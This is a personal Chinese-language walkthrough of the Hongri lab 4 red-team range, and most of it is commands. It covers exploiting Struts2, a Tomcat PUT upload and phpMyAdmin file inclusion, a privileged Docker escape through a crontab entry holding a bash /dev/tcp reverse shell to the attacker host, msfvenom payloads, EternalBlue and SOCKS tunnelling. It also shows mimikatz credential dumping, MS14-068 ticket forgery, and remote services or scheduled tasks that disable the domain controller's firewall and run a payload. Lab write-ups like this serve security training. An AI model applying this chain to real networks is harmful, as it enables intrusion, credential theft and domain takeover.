红日靶场(四)——个人笔记
环境搭建
机器密码:
WEB主机 ubuntu:ubuntu
WIN7主机 douser:Dotest123
(DC)WIN2008主机 administrator:Test2008
需要俩个网卡 VMnet2和VMnet8
虚拟网络编辑器:外网网段为192.168.21.0/24 内网网段为192.168.183.0/24
DC:
这里开机提示密码过期,将密码改为Qwe@123
Web:
docker启动服务:
sudo docker start ec 17 09
docker ps
我这里后面测试2003端口 mysql拒绝连接
到vulhub/phpmyadmin/CVE-2018-12613这个目录下,先docker stop停止容器
之后docker-compose up -d
再docker ps,就可以看到mysql成功启动,之后就可以正常访问
Win7:
外网探测
信息收集
扫描网段存活ip,发现192.168.21.139
┌──(root㉿nuli)-[~]
└─# nmap -sn 192.168.21.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-08 16:28 CST
Nmap scan report for 192.168.21.1
Host is up (0.00043s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.21.2
Host is up (0.00027s latency).
MAC Address: 00:50:56:F5:BC:DD (VMware)
Nmap scan report for 192.168.21.139
Host is up (0.00018s latency).
MAC Address: 00:0C:29:7D:1A:B0 (VMware)
Nmap scan report for 192.168.21.254
Host is up (0.00027s latency).
MAC Address: 00:50:56:F4:94:1C (VMware)
Nmap scan report for 192.168.21.134
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.32 seconds
扫描常见端口,发现只有22端口开放,全端口扫描:
┌──(root㉿nuli)-[~]
└─# nmap -sV -p 1-65535 192.168.21.139
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-08 16:34 CST
Nmap scan report for 192.168.21.139
Host is up (0.0073s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
2001/tcp open http Jetty 9.2.11.v20150529
2002/tcp open http Apache Tomcat 8.5.19
2003/tcp open http Apache httpd 2.4.25
MAC Address: 00:0C:29:7D:1A:B0 (VMware)
Service Info: Host: 172.19.0.2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
发现2001,2002,2003端口开放
2001:文件上传页面,Struts2框架
2002:Tomcat配置页面
2003:phpMyAdmin后台,且可无密码登录
打进入口机的三种方式:
Struts2漏洞获取shell:
使用Struts2漏洞检测工具检测
https://github.com/abc123info/Struts2VulsScanTools
漏洞存在,且权限为root
上传木马,msf监听
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.21.134 LPORT=4444 -f jsp > shell.jsp
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.21.134
exploit
Tomcat/8.5.19文件上传漏洞
2002端口是Tomcat配置页面
将GET改为PUT,漏洞可以利用
这里有过滤,可以"/"绕过
用godzilla生成java木马
上传成功
phpMyAdmin后台获取shell
phpMyAdmin 4.8.1 版本文件包含漏洞(CVE-2018-12613)
漏洞可造成任意文件读取:
http://192.168.21.140:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../etc/passwd
利用漏洞构造任意命令执行:
CREATE DATABASE test;
use test;
CREATE TABLE test(code varchar(100));
INSERT INTO test(code) VALUES("<?php phpinfo();?>");
利用cookie值构造payload:
执行后记录当前cookie:
1访问:
http://192.168.21.140:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_f75156327fdb0d76976af7e8015eeb57
写入一句话木马也是同样的方法。
内网探测
Docker逃逸
执行ifconfig:
/usr/local/tomcat/ >ifconfig
2>&1: 1: 2>&1: ifconfig: not found
查看根目录:ls -all /
/usr/local/tomcat/ >ls -all /total 60
drwxr-xr-x 1 root root 4096 Jan 24 2020 .
drwxr-xr-x 1 root root 4096 Jan 24 2020 ..
-rwxr-xr-x 1 root root 0 Jan 22 2020 .dockerenv
lrwxrwxrwx 1 root root 7 Jul 23 2017 bin -> usr/bin
drwxr-xr-x 2 root root 4096 Jul 13 2017 boot
drwxr-xr-x 14 root root 3700 Oct 8 08:34 dev
lrwxrwxrwx 1 root root 33 Jul 24 2017 docker-java-home -> /usr/lib/jvm/java-8-openjdk-amd64
drwxr-xr-x 1 root root 4096 Jan 22 2020 etc
drwxr-x--- 2 root root 4096 Jan 24 2020 hack
drwxr-xr-x 2 root root 4096 Jul 13 2017 home
lrwxrwxrwx 1 root root 7 Jul 23 2017 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Jul 23 2017 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Jul 23 2017 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Jul 23 2017 libx32 -> usr/libx32
drwxr-xr-x 2 root root 4096 Jul 23 2017 media
drwxr-xr-x 2 root root 4096 Jul 23 2017 mnt
drwxr-xr-x 2 root root 4096 Jul 23 2017 opt
dr-xr-xr-x 285 root root 0 Oct 8 08:34 proc
drwx------ 1 root root 4096 Jul 27 2017 root
drwxr-xr-x 1 root root 4096 Jul 23 2017 run
lrwxrwxrwx 1 root root 8 Jul 23 2017 sbin -> usr/sbin
drwxr-xr-x 2 root root 4096 Jul 23 2017 srv
dr-xr-xr-x 13 root root 0 Oct 8 08:34 sys
drwxrwxrwt 1 root root 4096 Jul 31 2017 tmp
drwxr-xr-x 1 root root 4096 Jul 31 2017 usr
drwxr-xr-x 1 root root 4096 Jul 31 2017 var
2这里发现.dockerenv
此时我们在docker容器中,接下来进行docker逃逸。
privileged特权模式逃逸
Docker 的 --privileged参数是一种特权模式,允许容器中的进程获得与宿主机相同的权限。
在容器内部的时候,我们首先判断我们当前容器是否是特权模式。
cat /proc/self/status | grep CapEff- `cat /proc/self/status` 用于查看当前进程的状态信息。
- `grep CapEff` 用于从输出结果中过滤出 CapEff 相关的行
- `capability` 是一种权限机制,利用 CapEff 我们可以了解当前进程实际拥有的权限和能力。
执行命令:
/usr/local/tomcat/ >cat /proc/self/status | grep CapEff
CapEff: 0000003fffffffff
一般来说,当CapEff对应的掩码值为0000003fffffffff 或者是 0000001fffffffff的时候,就可以判定当前容器是特权模式启动。
之后查看分区情况:
fdisk -l
执行命令:
/usr/local/tomcat/ >fdisk -lDisk /dev/sda: 10 GiB, 10737418240 bytes, 20971520 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x00063af9Device Boot Start End Sectors Size Id Type
/dev/sda1 * 2048 16779263 16777216 8G 83 Linux
/dev/sda2 16781310 20969471 4188162 2G 5 Extended
/dev/sda5 16781312 20969471 4188160 2G 82 Linux swap / Solaris
sda1就是宿主机的磁盘
之后把宿主机所在的磁盘挂载到docker中就可以正常访问到宿主机中的内容了
mkdir /test
mount /dev/sda1 /test #将宿主机磁盘挂载到test目录下。
这里有操作权限,写入定时任务:每隔一分钟定时反向连接攻击机
touch /test/test.sh
echo 'bash -i >& /dev/tcp/192.168.21.134/9898 0>&1' >/test/test.sh
echo '* * * * * root bash /test.sh' >> /test/etc/crontab
攻击机监听:
nc -lvvp 9898
一分钟后拿到宿主机,且权限为root
ifconfig查看网络,发现内网网段为192.168.183.0/24
通过python -m http.server搭建的HTTP服务器将fscan传到宿主机中
内网信息收集
./fscan_amd64_1.6 -h 192.168.183.0/24
(icmp) Target '192.168.183.128' is alive
(icmp) Target '192.168.183.1' is alive
(icmp) Target '192.168.183.132' is alive
(icmp) Target '192.168.183.130' is alive
(icmp) Target '192.168.183.131' is alive
192.168.183.128和192.168.183.132是宿主机
192.168.183.130开放88端口(Kerberos协议,windows域环境认证),这是Windows Server 2008
192.168.183.131开放135、139、445端口。此为Windows 7
关键漏洞:存在永恒之蓝
[+] 192.168.183.130 MS17-010 (Windows Server 2008 HPC Edition 7601 Service Pack 1)
[+] 192.168.183.131 MS17-010 (Windows 7 Enterprise 7601 Service Pack 1)
横向移动
上线msf马
这里上线msf马,拿到meterpreter。
生成木马:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.21.134 LPORT=9999 -f elf > a.elf
msf监听端口:
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.21.134
set LPORT 9999
exploit
执行msf马:
chmod +x a.elf
./a.elf
路由转发:
use multi/manage/autoroute
sessions # 查询会话id
route add 192.168.183.0 255.255.255.0 1
永恒之蓝漏洞测试
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.183.131
exploit
但是这里一直无法成功,尝试内网穿透
内网穿透
使用earthworm搭建socks5反向代理
攻击机执行:
./ew_for_linux64 -s rcsocks -l 1080 -e 1234
- 在攻击机上启动一个反向连接监听(rcsocks 模式),本地监听端口 1080,并通过端口 1234 与靶机建立连接。靶机执行:
./ew_for_linux64 -s rssocks -d 192.168.21.134 -e 1234
- 在靶机上启动一个反向 SOCKS 代理(rssocks 模式),将靶机所在网络的流量通过端口 1234 转发到指定的攻击机 IP。
永恒之蓝漏洞测试:
(这里我设置监听端口为4444可拿到SYSTEM权限,设置其他拿到的只有douser权限)
setg Proxies socks5:127.0.0.1:1080
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 192.168.183.131
set LPORT 8888
exploit
Win7成功:
这里进程不稳定,尝试进程迁移:
getpid #获取当前pid
#选择一个稳定的进程:`explorer.exe`、`svchost.exe`、`winlogon.exe`
ps #查看进程
migrate PID
尝试对域控测试永恒之蓝漏洞:
无法利用,进行域内信息收集。
域内信息收集
这里我们拿到shell后,输入chcp 65001,防止乱码。
C:\Windows\system32>net view
net view
Server Name Remark
-------------------------------------------------------------------------------
\\TESTWIN7-PC
\\WIN-ENS2VR5TR3N
The command completed successfully.
域内的俩个主机,我们已经拿下TESTWIN7-PC。接下来就是拿到域控
Win7桌面上有mimikatz工具,可以抓取密码。
启用Debug权限报错:
mimikatz # privilege::debug ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061
进行令牌窃取:
load incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
输出结果:
meterpreter > load incognito
Loading extension incognito...Success.
meterpreter > list_tokens -uDelegation Tokens Available
========================================
DEMO\douser
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEMImpersonation Tokens Available
========================================
No tokens availablemeterpreter > impersonate_token "NT AUTHORITY\SYSTEM"
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
再次利用mimikatz:
privilege::debug # 启用Debug权限sekurlsa::logonpasswords # 读取明文密码
获取Win7密码,SID,域等。
桌面有MS14-068.exe,且目前有用户名,win7密码,SID。
MS14-068:
Kerberos 域用户提权漏洞(MS14-068,CVE-2014-6324),所有 Windows 服务器都会收到该漏洞影响。包括 Windows Server 2003、Windows Server 2008、Windows Server 2008 R2、Windows Server 2012 和 Windows Server 2012 R2。该漏洞可导致活动目录整体权限控制收到影响,允许攻击者将域内任意用户权限提升至域管理级别。如果攻击者获取了域内任何一台计算机的 shell 权限,同时知道任意域用户的用户名、SID、密码,即可获取域管理员权限。漏洞产生原理:用户在向 Kerberos 密钥分发中心(KDC)申请TGT(由票据授权服务产生的身份凭证)时,可以伪造自己的 Kerberos 票据。如果票据声明自己有域管理员权限,而KDC在处理该票据时未验证票据的签名,那么,返给用户的TGT就使普通域用户拥有了域管理员权限。该用户可以将TGT发送到KDC,KDC的TGS(票据授权服务)在验证了TGT后,将服务票据(Server Ticket)发送给该用户,而该用户拥有访问该服务的权限,从而使攻击者可以访问域内的资源。
利用ms14-068生成票据
ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
# ms14-068.exe -u 域成员名@域名.com -s 域成员sid -d 域控制器ip地址 -p 域成员密码
之后会在当前路径下生成一个名为 :TGT_douser@demo.com.ccache 的票据文件。
利用mimkatz导入票据
mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc TGT_douser@demo.com.ccache //将票据注入到内存中
查看当前时间,获取域控名:
C:\Users\douser\Desktop>net time /domain
net time /domain
Current time at \\WIN-ENS2VR5TR3N.demo.com is 2025/10/11 14:26:01The command completed successfully.
验证权限:查看域控C盘
dir \\WIN-ENS2VR5TR3N\c$
拿到域控
方法一:
msf生成木马:
msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=192.168.183.130 LPORT=8888 -f exe > shell.exe
上传到Win7中,再传到域控:
meterpreter > upload ~/shell.exe
copy shell.exe \\WIN-ENS2VR5TR3N\c$
msf开启监听:
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST 192.168.183.130
set LPORT 8888
exploit
关闭防火墙并执行shell.exe
sc \\WIN-ENS2VR5TR3N create ProFirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start ProFirewall
sc \\WIN-ENS2VR5TR3N create Startup binpath= "C:\shell.exe"
sc \\WIN-ENS2VR5TR3N start Startup创建一个服务关闭防火墙并执行shell.exe
拿到会话
方法二:
msf生成木马:
msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=192.168.183.130 LPORT=8888 -f exe > shell.exe
上传到Win7中,再传到域控:
meterpreter > upload ~/shell.exe
copy shell.exe \\WIN-ENS2VR5TR3N\c$
创建计划任务执行shell.exe:
schtasks /create /S WIN-ENS2VR5TR3N /TN "test" /TR c:/shell.exe /SC MINUTE /ST 21:27 /ru system /f
msf开启监听:
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST 192.168.183.130
set LPORT 8888
exploit
这里防火墙拦截,创建一个任务关闭防火墙:
echo NetSh Advfirewall set allprofiles state off >> 1.batcopy 1.bat \\WIN-ENS2VR5TR3N\c$schtasks /create /S WIN-ENS2VR5TR3N /TN "test1" /TR c:/1.bat /SC ONCE /ST 21:57 /ru system /f
拿到会话
总结:
这里学到内容:
Struts2漏洞,Tomcat8.5.19文件上传漏洞,phpMyAdmin写shell。
内网部分:docker逃逸,永恒之蓝(CVE-2017-0144)漏洞,内网信息收集和内网穿透MS14-068域用户提取,伪造票据,设置计划任务:关闭防火墙,执行木马。注意的点:msf拿到会话不稳定,迁移进程。永恒之蓝漏洞设置端口为4444,端口为其他似乎拿不到SYSTEM权限这里设置计划任务关闭防火墙和执行木马更好用,细学一下这块。
参考文章:
ATT&CK实战系列-红队实战(四)-腾讯云开发者社区-腾讯云
ATT&CK红队评估(红日靶场四) - FreeBuf网络安全行业门户
ATT&CK红队评估(红日靶场4) - AgonySec - 博客园
PHP会话:在 PHP 中,当启用会话(session_start())时,服务器会自动生成一个以 sess_ 为前缀、后跟会话 ID的文件,默认存储在 /tmp 目录(Linux 系统)。 ↩︎
解释:当Docker容器启动时,Docker引擎会自动在容器根目录下创建这个.dockerenv文件,通常被用来指示当前进程正在 Docker 容器中运行。 ↩︎